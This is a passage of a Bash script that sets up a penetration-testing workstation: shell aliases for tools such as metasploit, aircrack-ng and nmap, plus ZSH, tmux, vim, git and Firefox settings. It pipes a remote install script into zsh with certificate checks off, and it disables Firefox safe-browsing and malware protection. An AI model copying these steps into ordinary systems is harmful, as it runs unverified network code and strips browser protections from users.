  932.   || echo -e "## grc dig alias\nalias dig='$(which grc) $(which dig)'\n" >> "${file}"
  933. grep -q '^## grc gcc alias' "${file}" 2>/dev/null \
  934.   || echo -e "## grc gcc alias\nalias gcc='$(which grc) $(which gcc)'\n" >> "${file}"
  935. grep -q '^## grc ifconfig alias' "${file}" 2>/dev/null \
  936.   || echo -e "## grc ifconfig alias\nalias ifconfig='$(which grc) $(which ifconfig)'\n" >> "${file}"
  937. grep -q '^## grc mount alias' "${file}" 2>/dev/null \
  938.   || echo -e "## grc mount alias\nalias mount='$(which grc) $(which mount)'\n" >> "${file}"
  939. grep -q '^## grc netstat alias' "${file}" 2>/dev/null \
  940.   || echo -e "## grc netstat alias\nalias netstat='$(which grc) $(which netstat)'\n" >> "${file}"
  941. grep -q '^## grc ping alias' "${file}" 2>/dev/null \
  942.   || echo -e "## grc ping alias\nalias ping='$(which grc) $(which ping)'\n" >> "${file}"
  943. grep -q '^## grc ps alias' "${file}" 2>/dev/null \
  944.   || echo -e "## grc ps alias\nalias ps='$(which grc) $(which ps)'\n" >> "${file}"
  945. grep -q '^## grc tail alias' "${file}" 2>/dev/null \
  946.   || echo -e "## grc tail alias\nalias tail='$(which grc) $(which tail)'\n" >> "${file}"
  947. grep -q '^## grc traceroute alias' "${file}" 2>/dev/null \
  948.   || echo -e "## grc traceroute alias\nalias traceroute='$(which grc) $(which traceroute)'\n" >> "${file}"
  949. grep -q '^## grc wdiff alias' "${file}" 2>/dev/null \
  950.   || echo -e "## grc wdiff alias\nalias wdiff='$(which grc) $(which wdiff)'\n" >> "${file}"
  951. #configure  #esperanto  #ldap  #e  #cvs  #log  #mtr  #ls  #irclog  #mount2  #mount
  952. #--- Apply new aliases
  953. source "${file}" || source ~/.zshrc
  954.  
  955.  
  956. ##### Install bash completion - all users
  957. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}bash completion${RESET} ~ tab complete CLI commands"
  958. apt -y -qq install bash-completion \
  959.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  960. file=/etc/bash.bashrc; [ -e "${file}" ] && cp -n $file{,.bkup}   #~/.bashrc
  961. sed -i '/# enable bash completion in/,+7{/enable bash completion/!s/^#//}' "${file}"
  962. #--- Apply new configs
  963. source "${file}" || source ~/.zshrc
  964.  
  965.  
  966. ##### Configure aliases - root user
  967. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}aliases${RESET} ~ CLI shortcuts"
  968. #--- Enable defaults - root user
  969. for FILE in /etc/bash.bashrc ~/.bashrc ~/.bash_aliases; do    #/etc/profile /etc/bashrc /etc/bash_aliases /etc/bash.bash_aliases
  970.   [[ ! -f "${FILE}" ]] \
  971.     && continue
  972.   cp -n $FILE{,.bkup}
  973.   sed -i 's/#alias/alias/g' "${FILE}"
  974. done
  975. #--- General system ones
  976. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  977. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  978. grep -q '^## grep aliases' "${file}" 2>/dev/null \
  979.   || echo -e '## grep aliases\nalias grep="grep --color=always"\nalias ngrep="grep -n"\n' >> "${file}"
  980. grep -q '^alias egrep=' "${file}" 2>/dev/null \
  981.   || echo -e 'alias egrep="egrep --color=auto"\n' >> "${file}"
  982. grep -q '^alias fgrep=' "${file}" 2>/dev/null \
  983.   || echo -e 'alias fgrep="fgrep --color=auto"\n' >> "${file}"
  984. #--- Add in ours (OS programs)
  985. grep -q '^alias tmux' "${file}" 2>/dev/null \
  986.   || echo -e '## tmux\nalias tmux="tmux attach || tmux new"\n' >> "${file}"    #alias tmux="tmux attach -t $HOST || tmux new -s $HOST"
  987. grep -q '^alias axel' "${file}" 2>/dev/null \
  988.   || echo -e '## axel\nalias axel="axel -a"\n' >> "${file}"
  989. grep -q '^alias screen' "${file}" 2>/dev/null \
  990.   || echo -e '## screen\nalias screen="screen -xRR"\n' >> "${file}"
  991. #--- Add in ours (shortcuts)
  992. grep -q '^## Checksums' "${file}" 2>/dev/null \
  993.   || echo -e '## Checksums\nalias sha1="openssl sha1"\nalias md5="openssl md5"\n' >> "${file}"
  994. grep -q '^## Force create folders' "${file}" 2>/dev/null \
  995.   || echo -e '## Force create folders\nalias mkdir="/bin/mkdir -pv"\n' >> "${file}"
  996. #grep -q '^## Mount' "${file}" 2>/dev/null \
  997. #  || echo -e '## Mount\nalias mount="mount | column -t"\n' >> "${file}"
  998. grep -q '^## List open ports' "${file}" 2>/dev/null \
  999.   || echo -e '## List open ports\nalias ports="netstat -tulanp"\n' >> "${file}"
  1000. grep -q '^## Get header' "${file}" 2>/dev/null \
  1001.   || echo -e '## Get header\nalias header="curl -I"\n' >> "${file}"
  1002. grep -q '^## Get external IP address' "${file}" 2>/dev/null \
  1003.   || echo -e '## Get external IP address\nalias ipx="curl -s http://ipinfo.io/ip"\n' >> "${file}"
  1004. grep -q '^## DNS - External IP #1' "${file}" 2>/dev/null \
  1005.   || echo -e '## DNS - External IP #1\nalias dns1="dig +short @resolver1.opendns.com myip.opendns.com"\n' >> "${file}"
  1006. grep -q '^## DNS - External IP #2' "${file}" 2>/dev/null \
  1007.   || echo -e '## DNS - External IP #2\nalias dns2="dig +short @208.67.222.222 myip.opendns.com"\n' >> "${file}"
  1008. grep -q '^## DNS - Check' "${file}" 2>/dev/null \
  1009.   || echo -e '### DNS - Check ("#.abc" is Okay)\nalias dns3="dig +short @208.67.220.220 which.opendns.com txt"\n' >> "${file}"
  1010. grep -q '^## Directory navigation aliases' "${file}" 2>/dev/null \
  1011.   || echo -e '## Directory navigation aliases\nalias ..="cd .."\nalias ...="cd ../.."\nalias ....="cd ../../.."\nalias .....="cd ../../../.."\n' >> "${file}"
  1012. grep -q '^## Extract file' "${file}" 2>/dev/null \
  1013.   || cat <<EOF >> "${file}" \
  1014.     || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  1015.  
  1016. ## Extract file, example. "ex package.tar.bz2"
  1017. ex() {
  1018.   if [[ -f \$1 ]]; then
  1019.     case \$1 in
  1020.       *.tar.bz2) tar xjf \$1 ;;
  1021.       *.tar.gz)  tar xzf \$1 ;;
  1022.       *.bz2)     bunzip2 \$1 ;;
  1023.       *.rar)     rar x \$1 ;;
  1024.       *.gz)      gunzip \$1  ;;
  1025.       *.tar)     tar xf \$1  ;;
  1026.       *.tbz2)    tar xjf \$1 ;;
  1027.       *.tgz)     tar xzf \$1 ;;
  1028.       *.zip)     unzip \$1 ;;
  1029.       *.Z)       uncompress \$1 ;;
  1030.       *.7z)      7z x \$1 ;;
  1031.       *)         echo \$1 cannot be extracted ;;
  1032.     esac
  1033.   else
  1034.     echo \$1 is not a valid file
  1035.   fi
  1036. }
  1037. EOF
  1038. grep -q '^## strings' "${file}" 2>/dev/null \
  1039.   || echo -e '## strings\nalias strings="strings -a"\n' >> "${file}"
  1040. grep -q '^## history' "${file}" 2>/dev/null \
  1041.   || echo -e '## history\nalias hg="history | grep"\n' >> "${file}"
  1042. grep -q '^## Network Services' "${file}" 2>/dev/null \
  1043.   || echo -e '### Network Services\nalias listen="netstat -antp | grep LISTEN"\n' >> "${file}"
  1044. grep -q '^## HDD size' "${file}" 2>/dev/null \
  1045.   || echo -e '### HDD size\nalias hogs="for i in G M K; do du -ah | grep [0-9]$i | sort -nr -k 1; done | head -n 11"\n' >> "${file}"
  1046. grep -q '^## Listing' "${file}" 2>/dev/null \
  1047.   || echo -e '### Listing\nalias ll="ls -l --block-size=1 --color=auto"\n' >> "${file}"
  1048. #--- Add in tools
  1049. grep -q '^## nmap' "${file}" 2>/dev/null \
  1050.   || echo -e '## nmap\nalias nmap="nmap --reason --open --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit"\n' >> "${file}"
  1051. grep -q '^## aircrack-ng' "${file}" 2>/dev/null \
  1052.   || echo -e '## aircrack-ng\nalias aircrack-ng="aircrack-ng -z"\n' >> "${file}"
  1053. grep -q '^## airodump-ng' "${file}" 2>/dev/null \
  1054.   || echo -e '## airodump-ng \nalias airodump-ng="airodump-ng --manufacturer --wps --uptime"\n' >> "${file}"
  1055. grep -q '^## metasploit' "${file}" 2>/dev/null \
  1056.   || (echo -e '## metasploit\nalias msfc="systemctl start postgresql; msfdb start; msfconsole -q \"\$@\""' >> "${file}" \
  1057.     && echo -e 'alias msfconsole="systemctl start postgresql; msfdb start; msfconsole \"\$@\""\n' >> "${file}" )
  1058. [ "${openVAS}" != "false" ] \
  1059.   && (grep -q '^## openvas' "${file}" 2>/dev/null \
  1060.     || echo -e '## openvas\nalias openvas="openvas-stop; openvas-start; sleep 3s; xdg-open https://127.0.0.1:9392/ >/dev/null 2>&1"\n' >> "${file}")
  1061. grep -q '^## mana-toolkit' "${file}" 2>/dev/null \
  1062.   || (echo -e '## mana-toolkit\nalias mana-toolkit-start="a2ensite 000-mana-toolkit;a2dissite 000-default; systemctl restart apache2"' >> "${file}" \
  1063.     && echo -e 'alias mana-toolkit-stop="a2dissite 000-mana-toolkit; a2ensite 000-default; systemctl restart apache2"\n' >> "${file}" )
  1064. grep -q '^## ssh' "${file}" 2>/dev/null \
  1065.   || echo -e '## ssh\nalias ssh-start="systemctl restart ssh"\nalias ssh-stop="systemctl stop ssh"\n' >> "${file}"
  1066. grep -q '^## samba' "${file}" 2>/dev/null \
  1067.   || echo -e '## samba\nalias smb-start="systemctl restart smbd nmbd"\nalias smb-stop="systemctl stop smbd nmbd"\n' >> "${file}"
  1068. grep -q '^## rdesktop' "${file}" 2>/dev/null \
  1069.   || echo -e '## rdesktop\nalias rdesktop="rdesktop -z -P -g 90% -r disk:local=\"/tmp/\""\n' >> "${file}"
  1070. grep -q '^## python http' "${file}" 2>/dev/null \
  1071.   || echo -e '## python http\nalias http="python2 -m SimpleHTTPServer"\n' >> "${file}"
  1072. #--- Add in folders
  1073. grep -q '^## www' "${file}" 2>/dev/null \
  1074.   || echo -e '## www\nalias wwwroot="cd /var/www/html/"\n#alias www="cd /var/www/html/"\n' >> "${file}"
  1075. grep -q '^## ftp' "${file}" 2>/dev/null \
  1076.   || echo -e '## ftp\nalias ftproot="cd /var/ftp/"\n' >> "${file}"
  1077. grep -q '^## tftp' "${file}" 2>/dev/null \
  1078.   || echo -e '## tftp\nalias tftproot="cd /var/tftp/"\n' >> "${file}"
  1079. grep -q '^## smb' "${file}" 2>/dev/null \
  1080.   || echo -e '## smb\nalias smb="cd /var/samba/"\n#alias smbroot="cd /var/samba/"\n' >> "${file}"
  1081. (dmidecode | grep -iq vmware) \
  1082.   && (grep -q '^## vmware' "${file}" 2>/dev/null \
  1083.     || echo -e '## vmware\nalias vmroot="cd /mnt/hgfs/"\n' >> "${file}")
  1084. grep -q '^## edb' "${file}" 2>/dev/null \
  1085.   || echo -e '## edb\nalias edb="cd /usr/share/exploitdb/platforms/"\nalias edbroot="cd /usr/share/exploitdb/platforms/"\n' >> "${file}"
  1086. grep -q '^## wordlist' "${file}" 2>/dev/null \
  1087.   || echo -e '## wordlist\nalias wordlists="cd /usr/share/wordlists/"\n' >> "${file}"
  1088. #--- Apply new aliases
  1089. source "${file}" || source ~/.zshrc
  1090. #--- Check
  1091. #alias
  1092.  
  1093.  
  1094. ##### Install (GNOME) Terminator
  1095. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing (GNOME) ${GREEN}Terminator${RESET} ~ multiple terminals in a single window"
  1096. apt -y -qq install terminator \
  1097.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1098. #--- Configure terminator
  1099. mkdir -p ~/.config/terminator/
  1100. file=~/.config/terminator/config; [ -e "${file}" ] && cp -n $file{,.bkup}
  1101. cat <<EOF > "${file}" \
  1102.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  1103. [global_config]
  1104.   enabled_plugins = TerminalShot, LaunchpadCodeURLHandler, APTURLHandler, LaunchpadBugURLHandler
  1105. [keybindings]
  1106. [profiles]
  1107.   [[default]]
  1108.     background_darkness = 0.9
  1109.     scroll_on_output = False
  1110.     copy_on_selection = True
  1111.     background_type = transparent
  1112.     scrollback_infinite = True
  1113.     show_titlebar = False
  1114. [layouts]
  1115.   [[default]]
  1116.     [[[child1]]]
  1117.       type = Terminal
  1118.       parent = window0
  1119.     [[[window0]]]
  1120.       type = Window
  1121.       parent = ""
  1122. [plugins]
  1123. EOF
  1124. #--- Set terminator for XFCE's default
  1125. mkdir -p ~/.config/xfce4/
  1126. file=~/.config/xfce4/helpers.rc; [ -e "${file}" ] && cp -n $file{,.bkup}    #exo-preferred-applications   #xdg-mime default
  1127. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1128. sed -i 's_^TerminalEmulator=.*_TerminalEmulator=debian-x-terminal-emulator_' "${file}" 2>/dev/null \
  1129.   || echo -e 'TerminalEmulator=debian-x-terminal-emulator' >> "${file}"
  1130.  
  1131.  
  1132. ##### Install ZSH & Oh-My-ZSH - root user.   Note:  'Open terminal here', will not work with ZSH.   Make sure to have tmux already installed
  1133. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}ZSH${RESET} & ${GREEN}Oh-My-ZSH${RESET} ~ unix shell"
  1134. apt -y -qq install zsh git curl \
  1135.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1136. #--- Setup oh-my-zsh
  1137. timeout 300 curl --progress -k -L -f "https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh" | zsh
  1138. #--- Configure zsh
  1139. file=~/.zshrc; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/zsh/zshrc
  1140. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1141. grep -q 'interactivecomments' "${file}" 2>/dev/null \
  1142.   || echo 'setopt interactivecomments' >> "${file}"
  1143. grep -q 'ignoreeof' "${file}" 2>/dev/null \
  1144.   || echo 'setopt ignoreeof' >> "${file}"
  1145. grep -q 'correctall' "${file}" 2>/dev/null \
  1146.   || echo 'setopt correctall' >> "${file}"
  1147. grep -q 'globdots' "${file}" 2>/dev/null \
  1148.   || echo 'setopt globdots' >> "${file}"
  1149. grep -q '.bash_aliases' "${file}" 2>/dev/null \
  1150.   || echo 'source $HOME/.bash_aliases' >> "${file}"
  1151. grep -q '/usr/bin/tmux' "${file}" 2>/dev/null \
  1152.   || echo '#if ([[ -z "$TMUX" && -n "$SSH_CONNECTION" ]]); then /usr/bin/tmux attach || /usr/bin/tmux new; fi' >> "${file}"   # If not already in tmux and via SSH
  1153. #--- Configure zsh (themes) ~ https://github.com/robbyrussell/oh-my-zsh/wiki/Themes
  1154. sed -i 's/ZSH_THEME=.*/ZSH_THEME="mh"/' "${file}"   # Other themes: mh, jreese,   alanpeabody,   candy,   terminalparty, kardan,   nicoulaj, sunaku
  1155. #--- Configure oh-my-zsh
  1156. sed -i 's/plugins=(.*)/plugins=(git git-extras tmux dirhistory python pip)/' "${file}"
  1157. #--- Set zsh as default shell (current user)
  1158. chsh -s "$(which zsh)"
  1159.  
  1160.  
  1161. ##### Install tmux - all users
  1162. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}tmux${RESET} ~ multiplex virtual consoles"
  1163. apt -y -qq install tmux \
  1164.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1165. file=~/.tmux.conf; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/tmux.conf
  1166. #--- Configure tmux
  1167. cat <<EOF > "${file}" \
  1168.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  1169. #-Settings---------------------------------------------------------------------
  1170. ## Make it like screen (use CTRL+a)
  1171. unbind C-b
  1172. set -g prefix C-a
  1173.  
  1174. ## Pane switching (SHIFT+ARROWS)
  1175. bind-key -n S-Left select-pane -L
  1176. bind-key -n S-Right select-pane -R
  1177. bind-key -n S-Up select-pane -U
  1178. bind-key -n S-Down select-pane -D
  1179.  
  1180. ## Windows switching (ALT+ARROWS)
  1181. bind-key -n M-Left  previous-window
  1182. bind-key -n M-Right next-window
  1183.  
  1184. ## Windows re-ording (SHIFT+ALT+ARROWS)
  1185. bind-key -n M-S-Left swap-window -t -1
  1186. bind-key -n M-S-Right swap-window -t +1
  1187.  
  1188. ## Activity Monitoring
  1189. setw -g monitor-activity on
  1190. set -g visual-activity on
  1191.  
  1192. ## Set defaults
  1193. set -g default-terminal screen-256color
  1194. set -g history-limit 5000
  1195.  
  1196. ## Default windows titles
  1197. set -g set-titles on
  1198. set -g set-titles-string '#(whoami)@#H - #I:#W'
  1199.  
  1200. ## Last window switch
  1201. bind-key C-a last-window
  1202.  
  1203. ## Reload settings (CTRL+a -> r)
  1204. unbind r
  1205. bind r source-file /etc/tmux.conf
  1206.  
  1207. ## Load custom sources
  1208. #source ~/.bashrc   #(issues if you use /bin/bash & Debian)
  1209.  
  1210. EOF
  1211. [ -e /bin/zsh ] \
  1212.   && echo -e '## Use ZSH as default shell\nset-option -g default-shell /bin/zsh\n' >> "${file}"
  1213. cat <<EOF >> "${file}"
  1214. ## Show tmux messages for longer
  1215. set -g display-time 3000
  1216.  
  1217. ## Status bar is redrawn every minute
  1218. set -g status-interval 60
  1219.  
  1220.  
  1221. #-Theme------------------------------------------------------------------------
  1222. ## Default colours
  1223. set -g status-bg black
  1224. set -g status-fg white
  1225.  
  1226. ## Left hand side
  1227. set -g status-left-length '34'
  1228. set -g status-left '#[fg=green,bold]#(whoami)#[default]@#[fg=yellow,dim]#H #[fg=green,dim][#[fg=yellow]#(cut -d " " -f 1-3 /proc/loadavg)#[fg=green,dim]]'
  1229.  
  1230. ## Inactive windows in status bar
  1231. set-window-option -g window-status-format '#[fg=red,dim]#I#[fg=grey,dim]:#[default,dim]#W#[fg=grey,dim]'
  1232.  
  1233. ## Current or active window in status bar
  1234. #set-window-option -g window-status-current-format '#[bg=white,fg=red]#I#[bg=white,fg=grey]:#[bg=white,fg=black]#W#[fg=dim]#F'
  1235. set-window-option -g window-status-current-format '#[fg=red,bold](#[fg=white,bold]#I#[fg=red,dim]:#[fg=white,bold]#W#[fg=red,bold])'
  1236.  
  1237. ## Right hand side
  1238. set -g status-right '#[fg=green][#[fg=yellow]%Y-%m-%d #[fg=white]%H:%M#[fg=green]]'
  1239. EOF
  1240. #--- Setup alias
  1241. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  1242. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1243. grep -q '^alias tmux' "${file}" 2>/dev/null \
  1244.   || echo -e '## tmux\nalias tmux="tmux attach || tmux new"\n' >> "${file}"    #alias tmux="tmux attach -t $HOST || tmux new -s $HOST"
  1245. #--- Apply new alias
  1246. source "${file}" || source ~/.zshrc
  1247.  
  1248.  
  1249. ##### Configure screen ~ if possible, use tmux instead!
  1250. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}screen${RESET} ~ multiplex virtual consoles"
  1251. #apt -y -qq install screen \
  1252. #  || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1253. #--- Configure screen
  1254. file=~/.screenrc; [ -e "${file}" ] && cp -n $file{,.bkup}
  1255. if [[ -f "${file}" ]]; then
  1256.   echo -e ' '${RED}'[!]'${RESET}" ${file} detected. Skipping..." 1>&2
  1257. else
  1258.   cat <<EOF > "${file}"
  1259. ## Don't display the copyright page
  1260. startup_message off
  1261.  
  1262. ## tab-completion flash in heading bar
  1263. vbell off
  1264.  
  1265. ## Keep scrollback n lines
  1266. defscrollback 1000
  1267.  
  1268. ## Hardstatus is a bar of text that is visible in all screens
  1269. hardstatus on
  1270. hardstatus alwayslastline
  1271. hardstatus string '%{gk}%{G}%H %{g}[%{Y}%l%{g}] %= %{wk}%?%-w%?%{=b kR}(%{W}%n %t%?(%u)%?%{=b kR})%{= kw}%?%+w%?%?%= %{g} %{Y} %Y-%m-%d %C%a %{W}'
  1272.  
  1273. ## Title bar
  1274. termcapinfo xterm ti@:te@
  1275.  
  1276. ## Default windows (syntax: screen -t label order command)
  1277. screen -t bash1 0
  1278. screen -t bash2 1
  1279.  
  1280. ## Select the default window
  1281. select 0
  1282. EOF
  1283. fi
  1284.  
  1285.  
  1286. ##### Install vim - all users
  1287. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}vim${RESET} ~ CLI text editor"
  1288. apt -y -qq install vim \
  1289.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1290. #--- Configure vim
  1291. file=/etc/vim/vimrc; [ -e "${file}" ] && cp -n $file{,.bkup}   #~/.vimrc
  1292. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1293. sed -i 's/.*syntax on/syntax on/' "${file}"
  1294. sed -i 's/.*set background=dark/set background=dark/' "${file}"
  1295. sed -i 's/.*set showcmd/set showcmd/' "${file}"
  1296. sed -i 's/.*set showmatch/set showmatch/' "${file}"
  1297. sed -i 's/.*set ignorecase/set ignorecase/' "${file}"
  1298. sed -i 's/.*set smartcase/set smartcase/' "${file}"
  1299. sed -i 's/.*set incsearch/set incsearch/' "${file}"
  1300. sed -i 's/.*set autowrite/set autowrite/' "${file}"
  1301. sed -i 's/.*set hidden/set hidden/' "${file}"
  1302. sed -i 's/.*set mouse=.*/"set mouse=a/' "${file}"
  1303. grep -q '^set number' "${file}" 2>/dev/null \
  1304.   || echo 'set number' >> "${file}"                                                                      # Add line numbers
  1305. grep -q '^set expandtab' "${file}" 2>/dev/null \
  1306.   || echo -e 'set expandtab\nset smarttab' >> "${file}"                                                  # Set use spaces instead of tabs
  1307. grep -q '^set softtabstop' "${file}" 2>/dev/null \
  1308.   || echo -e 'set softtabstop=4\nset shiftwidth=4' >> "${file}"                                          # Set 4 spaces as a 'tab'
  1309. grep -q '^set foldmethod=marker' "${file}" 2>/dev/null \
  1310.   || echo 'set foldmethod=marker' >> "${file}"                                                           # Folding
  1311. grep -q '^nnoremap <space> za' "${file}" 2>/dev/null \
  1312.   || echo 'nnoremap <space> za' >> "${file}"                                                             # Space toggle folds
  1313. grep -q '^set hlsearch' "${file}" 2>/dev/null \
  1314.   || echo 'set hlsearch' >> "${file}"                                                                    # Highlight search results
  1315. grep -q '^set laststatus' "${file}" 2>/dev/null \
  1316.   || echo -e 'set laststatus=2\nset statusline=%F%m%r%h%w\ (%{&ff}){%Y}\ [%l,%v][%p%%]' >> "${file}"     # Status bar
  1317. grep -q '^filetype on' "${file}" 2>/dev/null \
  1318.   || echo -e 'filetype on\nfiletype plugin on\nsyntax enable\nset grepprg=grep\ -nH\ $*' >> "${file}"    # Syntax highlighting
  1319. grep -q '^set wildmenu' "${file}" 2>/dev/null \
  1320.   || echo -e 'set wildmenu\nset wildmode=list:longest,full' >> "${file}"                                 # Tab completion
  1321. grep -q '^set invnumber' "${file}" 2>/dev/null \
  1322.   || echo -e ':nmap <F8> :set invnumber<CR>' >> "${file}"                                                # Toggle line numbers
  1323. grep -q '^set pastetoggle=<F9>' "${file}" 2>/dev/null \
  1324.   || echo -e 'set pastetoggle=<F9>' >> "${file}"                                                         # Hotkey - turning off auto indent when pasting
  1325. grep -q '^:command Q q' "${file}" 2>/dev/null \
  1326.   || echo -e ':command Q q' >> "${file}"                                                                 # Fix stupid typo I always make
  1327. #--- Set as default editor
  1328. export EDITOR="vim"   #update-alternatives --config editor
  1329. file=/etc/bash.bashrc; [ -e "${file}" ] && cp -n $file{,.bkup}
  1330. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1331. grep -q '^EDITOR' "${file}" 2>/dev/null \
  1332.   || echo 'EDITOR="vim"' >> "${file}"
  1333. git config --global core.editor "vim"
  1334. #--- Set as default mergetool
  1335. git config --global merge.tool vimdiff
  1336. git config --global merge.conflictstyle diff3
  1337. git config --global mergetool.prompt false
  1338.  
  1339.  
  1340. ##### Install git - all users
  1341. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}git${RESET} ~ revision control"
  1342. apt -y -qq install git \
  1343.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1344. #--- Set as default editor
  1345. git config --global core.editor "vim"
  1346. #--- Set as default mergetool
  1347. git config --global merge.tool vimdiff
  1348. git config --global merge.conflictstyle diff3
  1349. git config --global mergetool.prompt false
  1350. #--- Set as default push
  1351. git config --global push.default simple
  1352.  
  1353.  
  1354. ##### Setup firefox
  1355. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}firefox${RESET} ~ GUI web browser"
  1356. apt -y -qq install unzip curl firefox-esr \
  1357.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1358. #--- Configure firefox
  1359. export DISPLAY=:0.0
  1360. timeout 15 firefox >/dev/null 2>&1                # Start and kill. Files needed for first time run
  1361. timeout 5 killall -9 -q -w firefox-esr >/dev/null
  1362. file=$(find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'prefs.js' -print -quit)
  1363. [ -e "${file}" ] \
  1364.   && cp -n $file{,.bkup}   #/etc/firefox-esr/pref/*.js
  1365. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1366. sed -i 's/^.network.proxy.socks_remote_dns.*/user_pref("network.proxy.socks_remote_dns", true);' "${file}" 2>/dev/null \
  1367.   || echo 'user_pref("network.proxy.socks_remote_dns", true);' >> "${file}"
  1368. sed -i 's/^.browser.safebrowsing.enabled.*/user_pref("browser.safebrowsing.enabled", false);' "${file}" 2>/dev/null \
  1369.   || echo 'user_pref("browser.safebrowsing.enabled", false);' >> "${file}"
  1370. sed -i 's/^.browser.safebrowsing.malware.enabled.*/user_pref("browser.safebrowsing.malware.enabled", false);' "${file}" 2>/dev/null \
  1371.   || echo 'user_pref("browser.safebrowsing.malware.enabled", false);' >> "${file}"
  1372. sed -i 's/^.browser.safebrowsing.remoteLookups.enabled.*/user_pref("browser.safebrowsing.remoteLookups.enabled", false);' "${file}" 2>/dev/null \
  1373.   || echo 'user_pref("browser.safebrowsing.remoteLookups.enabled", false);' >> "${file}"
  1374. sed -i 's/^.*browser.startup.page.*/user_pref("browser.startup.page", 0);' "${file}" 2>/dev/null \
  1375.   || echo 'user_pref("browser.startup.page", 0);' >> "${file}"
  1376. sed -i 's/^.*privacy.donottrackheader.enabled.*/user_pref("privacy.donottrackheader.enabled", true);' "${file}" 2>/dev/null \
  1377.   || echo 'user_pref("privacy.donottrackheader.enabled", true);' >> "${file}"
  1378. sed -i 's/^.*browser.showQuitWarning.*/user_pref("browser.showQuitWarning", true);' "${file}" 2>/dev/null \
  1379.   || echo 'user_pref("browser.showQuitWarning", true);' >> "${file}"
  1380. sed -i 's/^.*extensions.https_everywhere._observatory.popup_shown.*/user_pref("extensions.https_everywhere._observatory.popup_shown", true);' "${file}" 2>/dev/null \
  1381.   || echo 'user_pref("extensions.https_everywhere._observatory.popup_shown", true);' >> "${file}"
  1382. sed -i 's/^.network.security.ports.banned.override/user_pref("network.security.ports.banned.override", "1-65455");' "${file}" 2>/dev/null \
  1383.   || echo 'user_pref("network.security.ports.banned.override", "1-65455");' >> "${file}"
  1384. #--- Replace bookmarks (base: http://pentest-bookmarks.googlecode.com)
  1385. file=$(find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'bookmarks.html' -print -quit)
  1386. [ -e "${file}" ] \
  1387.   && cp -n $file{,.bkup}   #/etc/firefox-esr/profile/bookmarks.html
  1388. #timeout 300 curl --progress -k -L -f "http://pentest-bookmarks.googlecode.com/files/bookmarksv1.5.html" > /tmp/bookmarks_new.html \
  1389. #  || echo -e ' '${RED}'[!]'${RESET}" Issue downloading bookmarks_new.html" 1>&2      #***!!! hardcoded version! Need to manually check for updates
  1390. #--- Configure bookmarks
  1391. #awk '!a[$0]++' /tmp/bookmarks_new.html \
  1392. #  | \egrep -v ">(Latest Headlines|Getting Started|Recently Bookmarked|Recent Tags|Mozilla Firefox|Help and Tutorials|Customize Firefox|Get Involved|About Us|Hacker Media|Bookmarks Toolbar|Most Visited)</" \
  1393. #  | \egrep -v "^    </DL><p>" \
  1394. #  | \egrep -v "^<DD>Add" > "${file}"
  1395. sed -i 's#^</DL><p>#        </DL><p>\n    </DL><p>\n</DL><p>#' "${file}"                                          # Fix import issues from pentest-bookmarks...
  1396. sed -i 's#^    <DL><p>#    <DL><p>\n    <DT><A HREF="http://127.0.0.1/">localhost</A>#' "${file}"                 # Add localhost to bookmark toolbar (before hackery folder)
  1397. sed -i 's#^</DL><p>#    <DT><A HREF="https://127.0.0.1:8834/">Nessus</A>\n</DL><p>#' "${file}"                    # Add Nessus UI bookmark toolbar
  1398. [ "${openVAS}" != "false" ] \
  1399.   && sed -i 's#^</DL><p>#    <DT><A HREF="https://127.0.0.1:9392/">OpenVAS</A>\n</DL><p>#' "${file}"              # Add OpenVAS UI to bookmark toolbar
  1400. sed -i 's#^</DL><p>#    <DT><A HREF="http://127.0.0.1:3000/ui/panel">BeEF</A>\n</DL><p>#' "${file}"               # Add BeEF UI to bookmark toolbar
